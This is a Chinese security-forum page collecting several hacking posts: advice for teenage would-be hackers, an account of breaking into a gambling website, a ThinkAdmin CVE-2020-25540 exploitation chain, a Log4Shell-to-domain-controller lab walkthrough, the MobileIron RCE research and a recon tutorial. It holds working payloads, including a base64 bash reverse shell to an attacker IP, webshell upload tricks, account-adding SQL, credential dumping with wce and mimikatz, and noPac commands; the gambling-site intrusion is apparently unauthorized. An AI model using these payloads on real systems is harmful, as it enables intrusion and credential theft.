跳转到帖子

排行榜

热门内容

显示自从 2022年10月15日 在最新回复 以来最高声誉的内容

  1. 只有十几岁,能不能学黑客技术或网络安全? 成为一个黑客,是很多人心里的梦,有的人只是想想,有的人付出行动。可以说不少爱好者都有这个想法,但是年龄太小,也不知道该不该学,接下来小风教程网给你几点建议! 1、学业不可弃放弃学业去学习一项技术,相信这种人已经越来越少了,现在不是以前,九年义务也是免费的,十多岁就放弃学业,这显然是不理智的,我们都见过很多小学或初中就出来工作,我们不敢说肯定,都是大部分人都是去工厂打工,一个月三四千是普遍情况,但是离开了工厂,他们在社会没有任何竞争力,也只能做一些吃苦的工作。所以啊,无论你多热爱某个技术和爱好,黑客技术也好,你都不应该放弃你的学业。可以在学习时间有闲暇时做自己的爱好,但是还是要学习为主。等上了大学就可以好好学你热爱的技术,甚至参加黑客ctf大赛。 2、大多黑客都是十多岁开始学习也许你觉得年龄小学东西又笨又慢,但是实际上大部分的黑客都是十几岁就有很强的学习能力,对计算机也很有专研精神,比成年人有更大的优势,因为这个年龄学黑客技术,纯粹是爱好,没有目的。你能想象出,早期的互联网盗号软件,刷钻教程,网页钓鱼基本上都是十五六岁的人干的么,虽然他们有违法的成分,但是不可否认他们都是靠自己的学习能力学会的。媒体喜欢炒作一些13岁黑客天才之类的报道,实际上这种人中国非常多,太多了,而且在看这篇文章的人就有很多是这样的人。 3、了解真正的黑客并不是黑客电影电影里的黑客无所不能,现实中的黑客并不是这样的,他们找漏洞很厉害,常常做出一些惊人的举动,但是他们往往也被防火墙虐的遍体鳞伤。现实的黑客要学什么,未来要做一个什么样的人,对社会有没有帮助,都是要考虑的。 4、永远不要说自己是黑客 有的人还没入门,会个小操作就想装逼了。很多人好奇,为什么不要说自己是黑客,是不是怕暴露自己,其实不是,听我分析。 如果你和不懂技术的人说你是黑客,他会有什么反应?肯定说那你盗个号我看看,你给我修改下钱包余额,你帮我修下电脑等等,或者一有问题就想找你帮忙,你想想,这些要求是不是违法的?而且对方说的要求往往很离谱,无法实现,你八成也不会,不会还丢人,所以这个b不要乱装,只会给自己添乱。 如果跟懂技术的人说你是黑客,那你会非常尴尬,为什么所谓的黑客教父,中国黑客高手排名,黑客保家卫国的故事,圈内人都很鄙视呢?因为这是什么都不懂的小编瞎写的,然后小白又喜欢看,但是你问问懂的人,可能直接笑喷!在cmd里输入dir /s,实际上就是一个简单的列出电脑全部文件的命令,有人拍成抖音黑客操作,就有几万评论,很多小白直呼黑客大神,程序员看了表示懵逼,黑客看了流泪。实在不懂这和黑客有什么关系。所以学技术前想清楚要虚荣心还是要真实力。
  2. 前言 由于之前网站数据丢失了,发一个之前渗透过的博彩网站记录给大家看看吧。 没事打开电脑开始瞎逛,但是无意间发现之前渗透的非法网站又开起来了,但是只是一个宝塔页面,没有任何价值,于是在同ip下发现一个博彩网站,随之展开渗透 一、信息收集 1.以下由tfxxx来代替域名 锁定网站:tfxxx.com 2.查看服务器ip以及判断是否有cdn 这个没有cdn,很nice 3.目录扫描 总体来说,并没有得到什么有用的价值 4.二级域名扫描 不错,得到了一个后台 admin.tfxxx.com,留着待会看 5.端口扫描 全端口扫描,这里就不截图了,扫的太慢了,基本上也没有啥利用的,远程端口更改了,扫出来的是20119端口 二、漏洞探测 1.后台页面 通过上面收集的信息来说,还是比较局限,先不管吧,有一个后台,就来尝试一下后台登录,看是否ok 2.猜账户 随手一个admin,进入到输入密码和安全码的页面,输入其他账号会提示用户名不正确,所以这里判断账号为:admin 3.爆破安全码 这里开始爆破安全码,因为进入到这个界面随便输入一个安全码它会提示安全码不正确,所以我在想如果把安全码输入正确了密码不对,它是不是只会提示密码错误?怀着这个问题用burp来爆破看看 通过URL解码,然后在网站后台登录看看,既然这样提示了,那应该是验证了我的想法,所以这里判断安全码为:123456 4.爆破密码 既然有了用户名和安全码,那就试着来爆破一下密码,最终最终!弱口令啊,YYDS!!密码:qwe123456 成功登录 三、漏洞利用 1.文件上传 来到后台开始寻找是否有上传的地方或者其他能getshell的地方,找到一个上传点,抓包,提示上传失败 然后试着把Content-Type:application/octet-stream改成Content-Type: image/jpg,万万没想到这么顺利,直接上传成功 2.蚁剑连接 找到刚才的小马地址,成功连接 四、提权 1.尝试突破命令限制 其实这里已经是system权限了,但是蚁剑和菜刀都无法执行命令,尝试了各种办法突破都未果,还是我太菜了 2.使用sys_eval函数 这里使用udf提权的方式,将sys_eval引入进去,然后完成执行添加账户,在加入用户组,我不能执行sys_exec不知道为啥... select sys_eval('net user admin 123456 /add'); 成功登录桌面 3.获取管理员密码 wce下载 这里使用wce获取管理员明文密码,掌握到常用密码,可以进一步掌握这人的信息,大家都懂哈 查看当前登录的用户及加密的密码 wce-universal.exe -l 查看当前用户登录的详细信息 wce-universal.exe -lv 查看明文信息 wce-universal -w thehackerworld版权所有,转载请注明出处。【原创】
  3. 游客
    1 点积分
    0x01 thinkadmin historical vulnerability review The background address of the other party's app has been found to be thinkadmin, so we need to review the historical loopholes of thinkadmin. CVE-2020-25540 https://github.com/zoujingli/ThinkAdmin/issues/244 Use POC as follows https://github.com/Schira4396/CVE-2020-25540 Column Directory POST /?s=admin/api.Update/noderules=['runtime/'] file read /?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b363932382x312t1b The essence is probably to design a function that allows third parties to compare system web files on the server. As a result, any directory is read due to directory traversal. Although there are certain restrictions, the harm is still very, very great, so this function will be removed from the shelves after subsequent updates. There is also a deserialization vulnerability without CVE https://github.com/zoujingli/ThinkAdmin/issues/238 There are two interfaces, one of which is the rule parameter of the directory function listed above. POST /?s=admin/api.Update/noderules=payload The other place is POST /?s=wechat/api.Push/indexreceive=payload 0x02 First source code Because the official no longer provides downloads of the old version of the source code, I immediately went to another place to find an old version of the source code using thinkphp5.1.38. After detection, it has the following vulnerabilities. application/wechat/controller/api/Push.php Only one of the two deserializations was fixed. application/admin/controller/api/Update.php The routes for reading column directories and any files have changed slightly, and the column directories cannot be controlled by passing rules parameters, so they can only list the web root directory. But arbitrary file reading removes various restrictions, which means you can directly read config/database.php to get the database configuration. After obtaining the database configuration, if the database can be connected externally, it can be used more deeply. application/admin/controller/api/Plugs.php This is the file upload interface that thinkadmin comes with. Just like many cms designed, its whitelist storage_local_exts can be configured in the database or system background. Normally, we can use this to perform getshell operations, but it is obvious that if we directly add php to the whitelist, we will not be able to pass the fourth if, and there will also be intercepts in the system configuration in the background. application/admin/controller/Config.php If we operate the database directly, we can bypass the background configuration restrictions, but cannot bypass the upload() restrictions. Obviously, filtering php is not enough. If the other party is a windows server, we still have php:$DATA optional. If the other party is apache and has made the wrong configuration, we also have possible parsing suffixes such as php3/php4/php5/php7/pht/pht/phtml/phar. 0x03 Second source code However, the first source code has no use except being familiar with the thinkadmin architecture. Because the target is thinkphp6.0.3, and the vulnerability is different from the first one, there is no deserialization. However, there are still column directories and file readings, and they are exactly the same as historical vulnerabilities. app/admin/controller/api/Update.php But when listing directories, I encountered a problem. This is because I'm listing the web root directory. If the other party's project is huge, or a folder does not have permission, it will cause an error. At this time, you need to list the directory in a targeted manner, mainly ./app and ./runtime. Read ./app to get the controller path. In the original thinkadmin, there are not many breakthroughs, but many of these programs are opened in the second place. Compared with the controllers that do not have in the original thinkadmin, you may directly audit the vulnerabilities. Audit vulnerabilities need to be read with any file. Please review the previous one for details. In short, with CVE-2020-25540 we are equivalent to obtaining its source code. This program is easy to find a SQL injection. /app/admin/controller/api/Main.php However, after I invoked the password, I found that login required OTP verification, so I could not continue the audit. /app/admin/controller/Posting.php Very stupid command splicing, there are three places in the same location, but all require background permissions. In the end, it was found that exec() was disabled_functions, so it cannot be used. /app/admin/controller/api/Upload.php The last place was discovered by a friend’s reminder. At first glance, isn’t this a upload brought by thinkadmin? I have analyzed before that a specific environment is needed to utilize it, so I skipped it directly. As a result, there is an extra xkey parameter that can completely control $this-name. It is hard not to suspect that this is a backdoor. In the end, getshell is like this. But this upload interface also requires background permissions, what should I do? At this time, it is the turn of thinkphp, which is often used by ./runtime, to appear. Reading the file runtime/admin/log/single_error.log is easy to find that it records a series of session errors. And we can know that this program uses the original php session, and it is not placed in /tmp or /var/lib/php/sessions/, but runtime/session. That's simple. We directly use the column directory to list all sessions and then blast them. In this way, you can directly enter the background and bypass the OTP limit. Then use its xkey backdoor getshell. 0x04 Alternative mind What if there is no back door? This system is linux+nginx, and it cannot bypass the original upload limit of thinkadmin. But in the subsequent code audit, I found that it has a graph bed server. This getshell server (A) can access an interface of the graph bed server (B) with the file_paths parameter. The purpose is to allow server B to download the pictures on server A in turn and backup them. Why do I know this? Because Server B is even more riddled with holes, you will find out by directly accessing this interface. Not only does the source code leak because of debug, but the splicing of this command is too naked, and it can even be used as a shell. Therefore, we can completely take down Server B directly through arbitrary file reading and code audit without taking down Server A. What's the use of getting server B? Server A will use curl to request Server B. In this case, you can tamper with the code of Server B, change the interface to 302 and jump, and then modify the protocol to gopher, and you can hit the local port of Server A. If the FPM 9000 port and the 6379 port of Redis are present locally on Server A, SSRF getshell can be performed in this way. This case can often be exploited in the SSRF vulnerability of Discuz. Although there is no 9000 fpm this time, there is redis. The redis key and port are also stored in config/cache.php, and the web directory happens to have 777 permissions, which fully meets the conditions for gopher to hit local redis. Of course, I didn't try it in the end, but there was no problem in theory. Reprinted from the original link: https://mp.weixin.qq.com/s/BuHJuQh3lyaq1SmY2xKl3g
  4. 游客
    Network Topology Information Collection The first step in penetration testing is of course information collection Get IP192.168.81.151, we first use nmap to scan the regular TCP port. nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151 Found that the two ports 22,38080 are open Through nmap, we can know that this is an Ubuntu, 22 is ssh, and the port 38080 is unknown. Let's try to access it. So I tried the latest new vulnerability CVE-2021-44228 to see if I can get dnslog Found a CVE-2021-44228 vulnerability, try to get a shell CVE-2021-44228 Utilization First enable an LDAP in our VPS kali(192.168.81.133): git clone https://github.com/black9/Log4shell_JNDIExploit.git java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133 Then listen on 9999 port on kali: We use TOMCATBYpass for rebound shell /bin/bash -i /dev/tcp/192.168.210.23/9999 01 -Bounce shell The rebound shell command requires base64 encoding BP packet capture, change to post parameter transmission and construct payload payload=${jndi:ldap://192.168.81.13:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=} Finally, using EXP to successfully rebound the shell. You must perform url encoding twice for base64 encoding to execute I found that the shell I got is a docker container I failed to find a way to escape, and finally found the flag file in the /root/directory: flag{redteam.lab-1}Congratulations, you got this: saul Saul123 I got a flag, and something similar to the account password During information collection, nmap scans to the target host to open 22ssh service, so think about the account password that may be ssh Intranet information collection Log in to Ubuntu system through the account and password obtained in the previous section We can see that the current machine has two network cards, one ens33 is used to link the external network, and the other ens38 is used to communicate intranet In actual intranet penetration: if the intranet penetration is in the Linux environment, try to form all bash and pythonization, because Linux is completely built, while intranet penetration under Windows try to form all powershell, bat and vbs. Try not to rely too much on external tools. So we use the for loop to ping the C-segment network of Ens38 for i in 10.0.1.{1.254}; do if ping -c 3 -w 3 $i /dev/null; then echo $i Find the target; fi; done I found that there is another machine 10.0.1.7 on the intranet Or use scan info tool to collect intranet information Quickly build httpd using python in Kali Target machine download tool and grant permissions Collect intranet information 10.0.1.7 was found to survive and existed with MS17-010 Then for convenience, I chose to use frp to proxy the traffic of the current machine: Configure frps.ini Configure frpc.ini Then use Metasploit to set up Socks5 to collect in-depth information on the intranet; setg Proxies socks5:192.168.81.13:8888setg ReverseAllowProxy true Use the smb version detection module to scan the target: use auxiliary/scanner/smb/smb_version It was found that the target version 10.0.1.7 is Windows 7 and the domain REDTEAM exists. Since it is Windows 7, there may be a MS17-010 vulnerability MS17-010 Utilization Through the previous section, we know that 10.0.1.7 is win7, and then we will conduct the detection. Through detection, we found out that there is an ms17-010 vulnerability on this machine. Since the target is that the intranet does not necessarily leave the network, the tcp reflective connection cannot be used. Set to payload forward bind_tcp Get win7 permissions directly, then load mimikataz to grab the password Username Domain Password root REDTEAM Red12345meterpreter load mimikatz loading tool meterpreter creds_all lists creds Note that the command is to grab the password from memory, the original state of the shooting range is paused and restored. If you restart, you need to log in to win7 once. At this time, I got the account of a domain user. Intranet weapon CVE-2021-42287, CVE-2021-42278 After collecting information on the current intranet, it was found that win7 also has an intranet network card. And the IP address to domain control to domain control is 10.0.0.12 Since two domain vulnerabilities have recently been exposed: CVE-2021-42287 and CVE-2021-42278, try to exploit them directly. The specific principle is: if there is a domain control name DC in the domain (the machine user corresponding to the domain control is DC), the attacker uses vulnerability CVE-2021-42287 to create a machine user saulGoodman, and then changes the sAMAccountName of the machine user saulGoodman to DC. Then use DC to apply for a TGT bill. Then change the DC sAMAccountName to sAMAccountName. At this time, KDC will determine that there is no DC and this user in the domain, and will automatically search for DC (DC is the sAMAccountName of the domain controlled DC already in the domain). The attacker uses the TGT he just applied for to S4U2self, simulates the domain manager in the domain to request the ST ticket of the domain controlled DC, and finally obtains the permissions of the domain controller DC. So use MSF to add a socks5 Add a route run autoroute -s 10.0.0.7/24 Then we just add the local proxy Download the address using the tool https://github.com/WazeHell/sam-the-admin https://github.com/Ridter/noPac https://github.com/waterrr/noPac Then use the script proxychains python3 sam_the_admin.py 'redteam.lab/root:Red12345' -dc-ip 10.0.0.12 -shell proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldapproxychains python3 exp.py 'redteam/root:Red12345' -dc-ip 10.0.0.12 -shell Finally, I got the final flag. Target machine environment: Link : https://pan.baidu.com/s/18pXdC2f_zDsXONpSUg1fYg Extraction code : 8dcy Original link: http://www.kryst4l.cn/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-log4j2-RCE-%E5%86%8D%E5%88%B0%E5%86%85%E7%BD%91%E6%A0%B8%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%B4%9E-CVE-2021-42287%E3%80%81CVE-2021-42278-%E6%8B%BF%E5%88%B0-DC/
  5. 游客
    [Traditional Chinese version | English Version ] Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and got fixed in June. After that, we keep monitoring large corporations to track the overall fixing progress and then found that Facebook didn’t keep up with the patch for more than 2 weeks, so we dropped a shell on Facebook and reported to their Bug Bounty program! This research is also presented at HITCON 2020. You can check the slides HERE As a Red Teamer, we are always looking for new paths to infiltrate the corporate network from outside. Just like our research in Black Hat USA last year, we demonstrated how leading SSL VPNs could be hacked and become your Virtual “Public” Network! SSL VPN is trusted to be secure and considered the only way to your private network. But, what if your trusted appliances are insecure? Based on this scenario, we would like to explore new attack surfaces on enterprise security, and we get interested in MDM, so this is the article for that! What is MDM? Mobile Device Management, also known as MDM, is an asset assessment system that makes the employees’ BYOD more manageable for enterprises. It was proposed in 2012 in response to the increasing number of tablets and mobile devices. MDM can guarantee that the devices are running under the corporate policy and in a trusted environment. Enterprise could manage assets, install certificates, deploy applications and Even lock/wipe devices remotely to prevent data leakage as well. UEM (Unified Endpoint Management) is a newer term relevant to MDM which has a broader definition for managed devices. Following we use MDM to represent similar products! Our target MDM, as a centralized system, can manage and control all employees’ devices. It is rarely an ideal asset assessment system for a growing company. Besides, MDM must be reachable publicly to synchronize devices all over the world. A centralized and public-exposing appliance, what could be more appealing to hackers? Therefore, we have seen hackers and APT groups abusing MDM these years! Such as phishing victims to make MDM a CC server of their mobile devices, or even compromising the corporate exposed MDM server to push malicious Trojans to all devices. You can read the report Malicious MDM: Let’s Hide This App by Cisco Talos team and First seen in the wild - Malware uses Corporate MDM as attack vector by CheckPoint CPR team for more details! From previous cases, we know that MDM is a solid target for hackers, and we would like to do research on it. There are several MDM solutions, even famous companies such as Microsoft, IBM and Apple have their own MDM solution. Which one should we start with? We have listed known MDM solutions and scanned corresponding patterns all over the Internet. We found that the most prevalent MDMs are VMware AirWatch and MobileIron! So, why did we choose MobileIron as our target? According to their official website, more than 20,000 enterprises chose MobileIron as their MDM solution, and most of our customers are using that as well. We also know Facebook has exposed the MobileIron server since 2016. We have analyzed Fortune Global 500 as well, and found more than 15% using and exposing their MobileIron server to the public! Due to above reasons, it became our main target! Where to Start From past vulnerabilities, we learned there aren’t too many researchers diving into MobileIron. Perhaps the attack vector is still unknown. But we suspect the main reason is that the firmware is too hard to obtain. When researching an appliance, turning a pure BlackBox testing into GrayBox, or WhiteBox testing is vital. We spent lots of time searching for all kinds of information on the Internet, and ended up with an RPM package. This RPM file is supposed to be the developer’s testing package. The file is just sitting on a listable WebRoot and indexed by Google Search. Anyway, we got a file to research. The released date of the file is in early 2018. It seems a little bit old but still better than nothing! P.S. We have informed MobileIron and the sensitive files has been removed now. Finding Vulnerabilities After a painful time solving the dependency hell, we set the testing package up finally. The component is based on Java and exposed three ports: 443 - the user enrollment interface 8443 - the appliance management interface 9997 - the MobileIron device synchronization protocol (MI Protocol) All opened ports are TLS-encrypted. Apache is in the front of the web part and proxies all connections to backend, a Tomcat with Spring MVC inside. Due to the Spring MVC, it’s hard to find traditional vulnerabilities like SQL Injection or XSS from a single view. Therefore, examining the logic and architecture is our goal this time! Talking about the vulnerability, the root cause is straightforward. Tomcat exposed a Web Service that deserializes user input with Hessian format. However, this doesn’t mean we can do everything! The main effort of this article is to solve that, so please see the exploration below. Although we know the Web Service deserializes the user input, we can not trigger it. The endpoint is located on both: User enrollment interface - https://mobileiron/mifs/services/ Management interface - https://mobileiron:8443/mics/services/ We can only touch the deserialization through the management interface because the user interface blocks the Web Service access. It’s a critical hit for us because most enterprises won’t expose their management interface to the Internet, and a management-only vulnerability is not useful to us so that we have to try harder.( Scrutinizing the architecture, we found Apache blocks our access through Rewrite Rules. It looks good, right? 12RewriteRule ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L]RewriteRule ^/mifs/services [F]MobileIron relied on Apache Rewrite Rules to block all the access to Web Service. It’s in the front of a reverse-proxy architecture, and the backend is a Java-based web server. Have you recalled something? Yes, the Breaking Parser Logic! It’s the reverse proxy attack surface I proposed in 2015, and presented at Black Hat USA 2018. This technique leverage the inconsistency between the Apache and Tomcat to bypass the ACL control and receive the Web Service. BTW, this excellent technique is also applied to the recently F5 BIG-IP TMUI RCE vulnerability! https://mobileiron/mifs/./services/someService Exploiting Vulnerabilities OK, now we have access to the deserialization wherever it’s on enrollment interface or management interface. Let’s go back to exploits! Moritz Bechler has an awesome research which summarized the Hessian deserialization vulnerability on his whitepaper, Java Unmarshaller Security. From the marshalsec source code, we learn the Hessian deserialization triggers the equals() and hashcode() while reconstructing a HashMap. It could also trigger the toString() through the XString, and the known exploit gadgets so far are: Apache XBean Caucho Resin Spring AOP ROME EqualsBean/ToStringBean In our environment, we could only trigger the Spring AOP gadget chain and get a JNDI Injection. Name Effect x Apache XBean JNDI Injection x Caucho Resin JNDI Injection √Spring AOPJNDI Injectionx ROME EqualsBean RCE Once we have a JNDI Injection, the rest parts of exploitations are easy! We can just leverage Alvaro Muñoz and Oleksandr Mirosh’s work, A Journey From JNDI/LDAP to Remote Code Execution Dream Land, from Black Hat USA 2016 to get the code execution… Is that true? Since Alvaro Muñoz and Oleksandr Mirosh introduced this on Black Hat, we could say that this technique helps countless security researchers and brings Java deserialization vulnerability into a new era. However, Java finally mitigated the last JNDI/LDAP puzzle in October 2018. After that, all java version higher than 8u181, 7u191, and 6u201 can no longer get code execution through JNDI remote URL-Class loading. Therefore, if we exploit the Hessian deserialization on the latest MobileIron, we must face this problem! Java changed the default value of com.sun.jndi.ldap.object.trustURLCodebase to False to prevent attackers from downloading remote URL-Class to get code executions. But only this has been prohibited. We can still manipulate the JNDI and redirect the Naming Reference to a local Java Class! The concept is a little bit similar to Return-Oriented Programming, utilizing a local existing Java Class to do further exploitations. You can refer to the article Exploiting JNDI Injections in Java by Michael Stepankin in early 2019 for details. It describes the attack on POST-JNDI exploitations and how to abuse the Tomcat’s BeanFactory to populate the ELProcessor gadget to get code execution. Based on this concept, researcher Welkin also provides another ParseClass gadget on Groovy. As described in his (Chinese) article: In addition to javax.el.ELProcessor, of course, there are many other classes that meet the conditions that can be injected into the BeanFactory as beanClass. For example, if there is a groovy library in the target machine classpath, it can be exploited based on the previous vulnerability of Jenkins posted by Master Orange. It seems the Meta Programming Exploitation in my previous Jenkins research could be used here as well. It makes the Meta Programming great again :D The approach is fantastic and looks feasible for us. But both gadgets ELProcessor and ParseClass are unavailable due to our outdated target libraries. Tomcat introduced the ELProcessor since 8.5, but our target is 7. As for the Groovy gadget, the target Groovy version is too old (1.5.6 from 2008) to support the Meta Programming, so we still have to find a new gadget by ourselves. We Found a new gadget on GroovyShell in the end. If you are interested, you can check the Pull Request I sent to the JNDI-Injection-Bypass project! Attacking Facebook Now we have a perfect RCE by chaining JNDI Injection, Tomcat BeanFactory and GroovyShell. It’s time to hack Facebook! Aforementioned, we knew the Facebook uses MobileIron since 2016. Although the server’s index responses 403 Forbidden now, the Web Service is still accessible! Everything is ready and wait for our exploit! However, several days before our scheduled attack, we realized that there is a critical problem in our exploit. From our last time popping shell on Facebook, we noticed it blocks outbound connections due to security concerns. The outbound connection is vital for JNDI Injection because the idea is to make victims connecting to a malicious server to do further exploitations. But now, we can’t even make an outbound connection, not to mention others. So far, all attack surfaces on JNDI Injection have been closed, we have no choice but to return to Hessian deserialization. But due to the lack of available gadgets, we must discover a new one by ourselves! Before discovering a new gadget, we have to understand the existing gadgets’ root cause properly. After re-reading Moritz Bechler’s paper, a certain word interested me: Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception. A question quickly came up in my mind: Why did the author leave this word here? Although it failed with exceptions, there must have been something special so that the author write this down. Our target is running with a very old Groovy, so we are guessing that the readResolve() constraint might not have been applied to the code base yet! We compared the file groovy/runtime/MethodClosure.java between the latest and 1.5.6. 12345678$ diff 1_5_6/MethodClosure.java 3_0_4/MethodClosure.java private Object readResolve() { if (ALLOW_RESOLVE) { return this; } throw new UnsupportedOperationException(); }Yes, we are right. There is no ALLOW_RESOLVE in Groovy 1.5.6, and we later learned CVE-2015-3253 is just for that. It’s a mitigation for the rising Java deserialization vulnerability in 2015. Since Groovy is an internally used library, developers won’t update it if there is no emergency. The outdated Groovy could also be a good case study to demonstrated how a harmless component can leave you compromised! Of course we got the shell on Facebook in the end. Here is the video: Vulnerability Report and Patch We have done all the research on March and sent the advice to MobileIron at 4/3. The MobileIron released the patch on 6/15 and addressed three CVEs for that. You can check the official website for details! CVE-2020-15505 - Remote Code Execution CVE-2020-15506 - Authentication Bypass CVE-2020-15507 - Arbitrary File Reading After the patch has been released, we start monitoring the Internet to track the overall fixing progress. Here we check the Last-Modified header on static files so that the result is just for your information. (Unknown stands for the server closed both 443 and 8443 ports) At the same time, we keep our attentions on Facebook as well. With 15 days no-patch confirm, we finally popped a shell and report to their Bug Bounty program at 7/2! Conclusion So far, we have demonstrated a completely unauthenticated RCE on MobileIron. From how we get the firmware, find the vulnerability, and bypass the JNDI mitigation and network limitation. There are other stories, but due to the time, we have just listed topics here for those who are interested: How to take over the employees’ devices from MDM Disassemble the MI Protocol And the CVE-2020-15506, an interesting authentication bypass I hope this article could draw attention to MDM and the importance of enterprise security! Thanks for reading.D
  6. 如何学习黑客?Web(网站)渗透测试 eb渗透笔记如下,大家可以去看看! 0x00 序言这篇笔记是对Web应用程序渗透中的经典步骤的总结。我会将这些步骤分解为一个个的子任务并在各个子任务中推荐并介绍一些工具。 本文展示的许多技巧来自这里,作者已允许转载。 请记住我介绍的这些步骤都是迭代的,所以在一次渗透过程中,你可能会使用他们多次。举个栗子,当你设法获取一个应用程序的不同等级的权限时,比如从普通用户提升到管理员用户,可能就需要迭代利用。 序言最后需要说明的是,这篇笔记的很多地方使用了收费的PortSwigger的Burp Suite Professional。对此我表示抱歉,但我认为这个工具还是物超所值的。 0x01 信息收集在一次Web渗透过程中,信息收集的目的是站在旁观者的角度,去了解整个Web应用的全貌。1. 目标确认工具简介Whois基于RFC 3912,用于查询域名相关信息的协议。Dig域名信息获取工具(Domain information groper)简称,是一个命令行的用于查询DNS服务器的网络管理工具。DNSRecon自动化DNS枚举脚本,由darkoperator维护。 1.1 域名注册信息通过如下步骤确认目标所有者信息: Whois 目标域名/主机名whois http://example.com解析目标域名/主机名的IP地址dig +short http://example.comWhois IP地址whois 104.27.178.12分析输出结果如果目标开启了whois隐私保护,那么返回的结果可能是经过混淆的。 !!不要攻击未经授权的站点。作为渗透测试人员,有责任在测试之前明确自己有没有获得目标所有者赋予的权限对目标进行测试。这也是为什么目标确认是开始渗透测试的第一步。1.2 DNS信息查询我喜欢去 https://dnsdumpster.com/ 查询目标站点的DNS信息,这是一款很不错的在线DNS信息查询工具。 正向查询dig +nocmd example.com A +noall +answer dig +nocmd example.com NS +noall +answer dig +nocmd example.com MX +noall +answer dig +nocmd example.com TXT +noall +answer dig +nocmd example.com SOA +noall +answer ... dig +nocmd example.com ANY +noall +answer (This rarely works)反向查询dig -x 104.27.179.12 dig -x 104.27.178.121.3 测试域传送漏洞域传送是一种DNS事务,用于在主从服务器间复制DNS记录。(译者注:可以看这个)虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。 域传送漏洞很容易避免。至少管理员可以设置只允许白名单内的IP列表可以进行域传送请求。使用示例dig -t NS zonetransfer.me +short dig -t AXFR zonetransfer.me @nsztm1.digi.ninja dig -t AXFR zonetransfer.me @nsztm2.digi.ninjaDNSRecon 可以自动化进行,而且往往会返回更多额外的信息。dnsrecon -d example.com2. OSINT 公开情报收集工具描述Recon-NGTim 'Lanmaster53' Tomes写的公开情报工具框架,由社区维护。http://recon-ng.com/MaltegoMaltego 是一款交互式的数据挖掘工具,它可以渲染出图用于关联分析。theharvestertheHarvester 可以从不同的公开资源中收集邮箱、子域名、虚拟主机、开放的端口/主机指纹和员工姓名等信息 我本想在这份笔记中包含详细的OSINT的介绍,但是想了想决定不这样做。因为我觉得这个部分可以单独写一篇(可能在之后的几篇中)。 在这篇笔记中我就介绍一些非常棒的关于OSINT的干货,我想渗透测试者们对于这些干货应该非常熟悉: Michael Bazzellhttps://inteltechniques.comOpen Source Intelligence TechniquesGoogle Dorkinghttps://www.exploit-db.com/google-hacking-database/0x02 Mapping在一次渗透测试过程中,Mapping的目的是站在一个普通用户的角度去了解整个应用的全貌。1. 工具工具介绍Nmap带服务识别和操作系统指纹识别的TCP/IP主机和端口扫描工具 1.1 端口扫描,服务识别,OS识别扫描前1000号TCP端口nmap 192.168.100.2Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)nmap –sP 192.168.100.0-7扫描80,443端口nmap -p 80,443 192.168.100.2扫描前1000号TCP端口,OS指纹,服务,然后运行一个NSE脚本sudo nmap -A 192.168.100.2扫描全部65535个TCP端口,OS指纹,服务,然后运行一个NSE脚本sudo nmap –A –p- 192.168.100.2扫描前1000号UDP端口sudo nmap -sU 192.168.100.2扫描所有65535个UDP端口sudo nmap -sU –p- 192.168.100.2扫描所有65535个UDP端口,并获取服务、OS指纹,之后运行一些NSE脚本sudo nmap –sU -p- -A 192.168.100.2! 端口扫描通常是渗透过程中第一步和第二步的过渡部分。要非常注意暴露的端口、服务版本和OS/s!2. 浏览器代理设置2.1 Firefox工具描述Firefox跨平台的一款现代浏览器,有很多有用的插件 Firefox通常是Web渗透测试过程中的首选浏览器,这是因为它有很多有用的插件以及它的代理设置不会影响到全局代理。 2.2 Firefox插件工具描述User Agent Switcher一款可以快速切换用户代理的Firefox插件Wappalyzer可以检测各种各样的网站所用的技术和软件组件的插件FoxyProxy代理切换插件 这些插件在每次渗透测试过程中我总能用得到,我推荐你在第二步(Mapping)之前安装好它们。 2.3 配置Firefox和Burpsuit在你进行Mapping之前你一定要配置要浏览器的代理,让流量经过Burp。 在Firefox配置插件FoxyProxyIP: 127.0.0.1Port: 8080配置Firefox信任Burp的SSL证书打开http://burp/保存证书将证书导入Firefox2.4 Burp配置工具描述Burp Suit ProWeb安全测试套件 你应该配置Burp让他适合自己的喜好。但是至少我推荐你设置Scan Speed为thorough,这样你在使用扫描器时就会发出更多地请求从而扫描出更多的漏洞。 2.5 Burp扩展工具描述Burp Extender用于扩展Burp suite功能的API,可以在BApp商店获取Retire.js (BApp)用于检测版本落后的Javascript组件漏洞的Burp suite扩展Wsdler (BApp)可以解析WSDL文件,然后测试所有的允许的方法的请求Python Scripter (BApp)可以在每个HTTP请求和响应时执行一段用户定义的Python脚本 这些Burp扩展是我在渗透测试过程中经常使用的。和Firefox扩展一样,我建议你们在Mapping之前安装好它们。 它们可以使用Burp Suite Pro的Burp Extender模块来安装。 3. 人工浏览人工浏览可能是Mapping过程中最重要的部分。你有必要去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。 !!!手工浏览对于单页应用非常非常重要。自动化的网页爬虫不能够爬到单页应用因为单页应用的HTTP请求都是用异步的AJAX来进行的。4. 自动化爬取自动化爬取是使用Burp Spider来进行的,这个过程可以发现你手工浏览没有发现的一些页面。通常来说Burp Spider会在传统的Web应用中发现更多的页面。 !!!自动化爬虫非常危险。通常我会手工浏览80%~95%的页面,只用爬虫爬取很少的部分。因为在特定情况下爬虫很容易失效。5. 后续分析这个时候你应该使用Burp完成了Mapping这一步第一次的迭代,你应该注意目前掌握的所有信息。 5.1 需要特别注意Web 